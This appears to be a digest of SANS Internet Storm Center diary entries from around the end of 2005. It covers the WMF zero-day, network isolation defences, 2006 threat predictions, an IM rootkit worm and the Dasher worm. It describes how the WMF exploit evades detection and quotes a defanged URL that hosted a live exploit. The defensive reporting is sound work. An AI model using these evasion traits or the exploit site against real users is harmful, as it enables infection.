• with a random size;
• no .wmf extension, (.jpg), but could be any other image extension actually;
• a random piece of junk in front of the bad call; carefully crafted to be larger than the MTU on an ethernet network;
  
• a number of possible calls to run the exploit are listed in the source;
  
• a random trailer

• No patch in sight from Microsoft
• Not wanting to infect peers such as customers
• Not wanting to rely on anti-virus signatures when people are developing versions of the exploit with a highly random nature
• Not wanting to rely on IDS devices due to the same randomness and the "it's too late already" aspect

• Ban Microsoft products in your environment
• I told you we were going to start from the extreme viewpoint, so hold your horses.
• What does it buy?
• No windows, no windows WMF vulnerability
• What does it not buy?
• You still can pass on dangerous payload to others like to your customers.
• If a single escaped machine remains or a single machine snuck back in, you still might get affected.
  
• Ban all communication and/or file exchanges
• Extreme again isn't it? Moreover it is perceived very hard in a modern world.
  
• What does it buy you?
• You prevent yourself from getting and giving dangerous payload to all peers
• What does it not buy you?
  
• If a single file would sneak in, or be present already, you might still have a major problem
• You have sacrificed a lot of the availability to gain confidentiality and or integrity

• Isolate them frmm the rest of the company. Plug a firewall between them and the rest of the internal networks. Disallow all unneeded communication with the rest of the company, making sure their servers are on their new inside.
• Use advanced networking solutions to prevent (accidental) hookup of unauthorized equipment to the sensitive network. E.g.:
  
• Make sure switch ports automatically shut down when try try to learn a second MAC address
• Assign only DHCP addresses to known MAC addresses
• Kick unknown MAC addresses into a separate VLAN
• Use layer 2 measures (such as private VLANs) to prevent client-to-client communication
• Disallow dangerous usage:
  
• Disallow IM
• Disallow web surfing
• Disallow email, or strip all attachments from the more secure email server they get access to.
• Now no surfing, no email, ... etc can be hard on the users and they might have really good arguments to have the functionality back.
• Build a second less sensitive network on different infrastructure
• Add machines for those that need the web/email/...
• Allow them to surf the web (with traditional restrctions) on those "less" secure machines but not on the "sensitive" machines which are to be used exclusively for their sensitive application(s).
• Be very procedural and build the needed infrastructure if you want to allow transfers between the two environments.
  
• The more traditional stuff should not be forgotten, especially not on the more secure side:
• Take a tough stance on updating Anti-virus signatures
  
• Look for unregistering the DLL as per Microsofts suggestion
• May be consider an unofficial patch from some reputable source
• Look for other platforms
• This is hard as training users to switch platforms takes time, and worse applications might not have clients for other platforms that work properly. Still it's one way out of the de-facto monoculture of operating systems and related vulnerabilities. We know from agriculture monoculture has risks. If we want not to accept the risks we need to act on it as well.
• Look for other strongholds to build
  
• If you have more than one sensitive section in you company, build more of these strongholds, do not build larger ones.
• More smaller ones will contain the spread of infections and the associated risks and costs in clean up better under control.

 On December 27th I asked for predictions for 2006.  Here is what we got.  Many thanks to all of you that responded.  Now let's see how close these guys are.

From Dan:

 Below is a list of some of the topics we may be seeing in the New Year:

 Not a lot of these around yet. Myspace and some other online sites were infected, but with the mass amounts of exploits for Web scripting languages and un-patched machines this is bound to happen.

 * RSS malcode

 Great technology. As more browsers embed this and include exploits,  the frequent / unattended nature of RSS will be used to infect.

* Trojans outpace worms

 We already are starting to see this. New Trojans and variants of Trojans are coming out daily in volume.

 * Voice-over-IP Phishing (Vishing )

 Somebody had to come up with another name :-). Using Voice over the Internet could introduce another means to deceive unsuspecting users to do something they should not be.

 * Toxic Blogs

 Yes, blogs are everywhere. Including here. Fact is that most of them do not check for scrupulous scripting, scan their file posts, and allow active content in posts.

 * Xbot 360

 The Xbox connecting over the Internet for updates and other things leads me to believe that this will simply be another way for attackers to use your PC and your connection at home for their own purposes.

 * Cross Site scripting attacks

 High-profile ecommerce and financial websites have had (and will have cross site scripting vulnerabilities). Attackers will leverage these for Phishing , Trojan Downloader's and for other nefarios reasons more frequently.

 
From Jeremy:

 
I believe that one of the biggest threats are going to be insecure databases.   The proof of concept database worm that was released about a month or so ago is just the very beginning of what we will see over the next year+.  To me this is a very real problem as I have audited environments where there was a huge focus on securing hosts and servers, but zero or minimal focus on securing the database.

 
From Jim:

My 2006 predictions/paranoid phobias:

1. "Zero-Day" exploits that are discovered and exploited by The Bad Guys, with no one being the wiser until it is far, far too late; 2. Tightly-targeted malware (currently being used) that, once it gleans information from financial institutions, allows the attacker(s) to then completely trash the entire information store - causing panic/chaos (if only for the targeted company(s); 3. Hackers taking the Fed's recent announcement that "the Internet is not vulnerable to widespread attack" as a personal challenge.

WMF Indexing, White Elephants and White Rabbits

 Preparation for the Inevitable (and New Years Resolution?)

1. Filename extension filtering will not work.
2. Even if you un-register the DLL, some programs may re-register it by invoiking it (shimgvw.dll) directly.
3. you have to delete or rename the DLL to protect yourself. However, remember to undo this once there is a patch.
4. While images embedded into docuements may not immediately trigger the exploit, they may once saved into their own file.

John Herron at NIST.org discovered today that Lotus Notes versions 6.x and 
higher is vulnerable to the WMF 0-day exploit. In the advisory, located
on the NIST website here, John reports that Lotus Notes remained vulerable 
even after running the regsvr32 workaround in the Microsoft security advisory.

From Daniel's diary entry yesterday ...

Just when we thought that this will be another slow day, a link to a working unpatched exploit in, what looks like Windows Graphics Rendering Engine, has been posted to Bugtraq.

The posted URL is   [ uni on seek. com/   d/t    1/  wmf_exp.  htm ]
(DON'T GO HERE UNLESS YOU KNOW WHAT YOU'RE DOING. Added spaces to avoid accidental clicking. See Firefox note below!!)

The HTML file runs another WMF (Windows Meta File) which executes a trojan dropper on a fully patched Windows XP SP2 machine. The dropper will then download Winhound, a fake anti-spyware/virus program which asks user to purchase a registered version of software in order to remove the reported threats.

During the test Johannes ran, it was interesting that the DEP (Data Execution Prevention) on his system stopped this from working. However, as this was tested on a AMD64 machine, we still have to confirm whether (or not) the software DEP also stops this - let us know if you tested this.



Internet Explorer will automatically launch the "Windows Picture and Fax Viewer".  Note that Firefox users are not totally imune either. In my install of Firefox, a dialog box will ask me if I would like to load the image in "Windows Picture and Fax Viewer". If I allow this to happen ("pictures are safe after all" NOT!), the exploit will execute.

UPDATE - According to F-Secure's blog "Firefox users can get infected if they decide to run or download the image file."

For more information, see also http://secunia.com/advisories/18255/  http://vil.mcafeesecurity.com/vil/content/v_137760.htm and http://www.securityfocus.com/bid/16074/info

donald.smith

• Some attacks might aim at very shortlived events.

• You won't be able to understand it all, so you will have to make sure you have processes in place that can deal with language in abuse complaints you can't understand yourself.

Some observations from http://isc.sans.org/diary.php?storyid=960:

• 8% suggested the use of a hardware router
  
• 8% suggested that Linux was the answer for their parents
  
• 11% thought that Macs were a safer option
  
• 19% were willing to enter a lifetime support contract for their parents
  
• 19% thought that their parents couldn't handle a computer
  
• 25% of the submitters chose to send their suggestions anonymously

As Johannes pointed out in http://isc.sans.org/diary.php?storyid=957 RFC2142 is a pretty good RFC to follow.  It works both ways too.

For example, let's say you're running vulnerability scans against your local bank's website and you come across what you think is a very serious vulnerability do you:

a) Jot that IP address down for later use when you need to pay off your credit card debts from the holiday season's over-indulgences.

b) Drop a friendly fact-filled note to abuse@localbank.com

or

c) Launch a media campaign to publicize the risk encouraging your readers to write letters to the Office of the Comptroller of the Currency

If one supports the idea of Responsible Disclosure the answer would be B, followed by C after an acceptable period of time.

Harry Hoffman submitted his intro to iptables on Linux servers: http://www.ip-solutions.net/firewall/servers.html

It's a nice little getting-started piece and it starts off with a default-deny policy-- which is one of my personal favorites.

A more advanced treatment on reactive iptables is available here: http://www.sans.org/rr/special/index.php?id=adaptive_firewalls

• postmaster@domain (RFC822). This should exist on all mail servers. You should also have postmaster@IP-Address-of-the-mail-server.
• usenet@domain (RFC977). I know a lot of people will write to say differently. But I consider usenet dead for all practical purposes. You can probably do without this address.
• abuse@domain
• trouble@domain
• noc@domain
• security@domain

One of our attentive readers sent us a note yesterday and we missed posting it in the diary.  There's a nasty present waiting under your IM tree if you have been naughty this past year.  Read on...

Techweb -

"A new worm posing as a come-on to a Santa Claus site is traveling across all the major instant messaging networks, a security firm warned Tuesday, and when recipients visit the bogus site, they're infected with a file hidden from sight by a rootkit. IMlogic said that the worm, dubbed "M.GiftCom.All," is circulating on the MSN, AOL, ICQ, and Yahoo instant messaging services, is a "Medium" threat, a relatively rare classification for the Waltham, Mass.-based company. Most IM worms and Trojans listed on its Threat Center receive only a "Low" classification. Like virtually all IM worms, M.GiftCom.All includes a URL in messages it spams out to contacts hijacked from previously-infected PCs. When users naively visit that site -- which is billed as a harmless Santa site -- a file is automatically downloaded to their computers. The file, usually named "gift.com" includes rootkit elements that cloaks it from security software. In addition, the downloaded executable tries to disable a number of anti-virus programs, adds a keylogger to the system to capture confidential information, and then spreads to others by snatching names from the user's IM client contact list..."

IM Logic - 

"...Description: This worm broadcasts a URL out over IM clients which downloads an executable file, often named gift.com. When this file is executed, it hides itself and scans the registry, file system, and internet cache. By operating as a rootkit, the process is hidden from all tools and anti-virus software. It also attempts to shut down anti-virus software and makes several networking calls. Also it does keystroke logging and may attempt to propagate itself over IM clients..."

• RSS 2.0 should now be understood by most aggregators. When we originally started offering the RSS feed two years ago, RSS 0.91 was the most commonly used standard.
• RSS 2.0 allows us to include a 'TTL', which indicates to the RSS reader how frequently to refresh the feed. Lets see if this helps a bit with overly busy readers
• We do get regular requests to include full diary content.

Despite efforts to cut off the distribution points (http://www.honeynet.org.cn/honeyneten/index.htm) new versions of Dasher continue to pop up.  Symantec identified Dasher.C yesterday that added an anti-security-software payload (your typical disable anti-virus and firewall type of gig.)  New versions with new distribution points, and signature-evasion changes continue to come out.  Before you ask: "which ones don't detect it?"  Right now, it's most of them.  In a few hours, I hope that list to be much shorter.

It would be simply swell if the AV developers would write sigs for the samples that we're sending them.  I know it's a weekend... but I'm working.

So, why is Dasher "finding-legs?" or why is it successful? 

To answer that, we have to ask Microsoft: why are services listening on ephemeral ports?  Or, why are some filtering/firewall strategies blocking only 1024 and below?

Overall, the response procedure appears to be working.  The 1025/TCP scans were detected, packets were gathered, the vector was identified, examples of the code were captured, and command-and-control points were neutralized.  Everything went according to plan-- just not quickly as I hoped.

Now, I'm waiting for Prancer.

E-mails

E-cards

Start you own chain of secure greetings this year

• First diary entry
  
• Going yellow entry
• Going back to green entry
• Microsoft advisory (updated)

MS 05-54: Cumulative Security Update for Internet Explorer

MS 05-55: Vulnerability in Windows Kernel Could Allow Elevation of Privilege.

As reported by Koon Tan yesterday we have seen, and are continuing to see, increased activity reported by more users now.  The link below will show a graph that indicates activity over the past ~72 hours.

http://isc.sans.org/images/port1025tcp.png



We still need full packet captures to help nail this down, so if anybody has them please submit them via the 'Contact' link at the top of the page.

Core Security Technologies has an excellent article on this subject and RPC Vulnerabilities.  One highlight from this article is that the "patches for these vulnerabilities ..... effectively fix the problem(s)" with the vunerabilities used in the discussion.  All of the vulnerabilities are more than 18 months old; these fixed have been out for some time, giving lots of time for admins to perform testing and loading of said patches.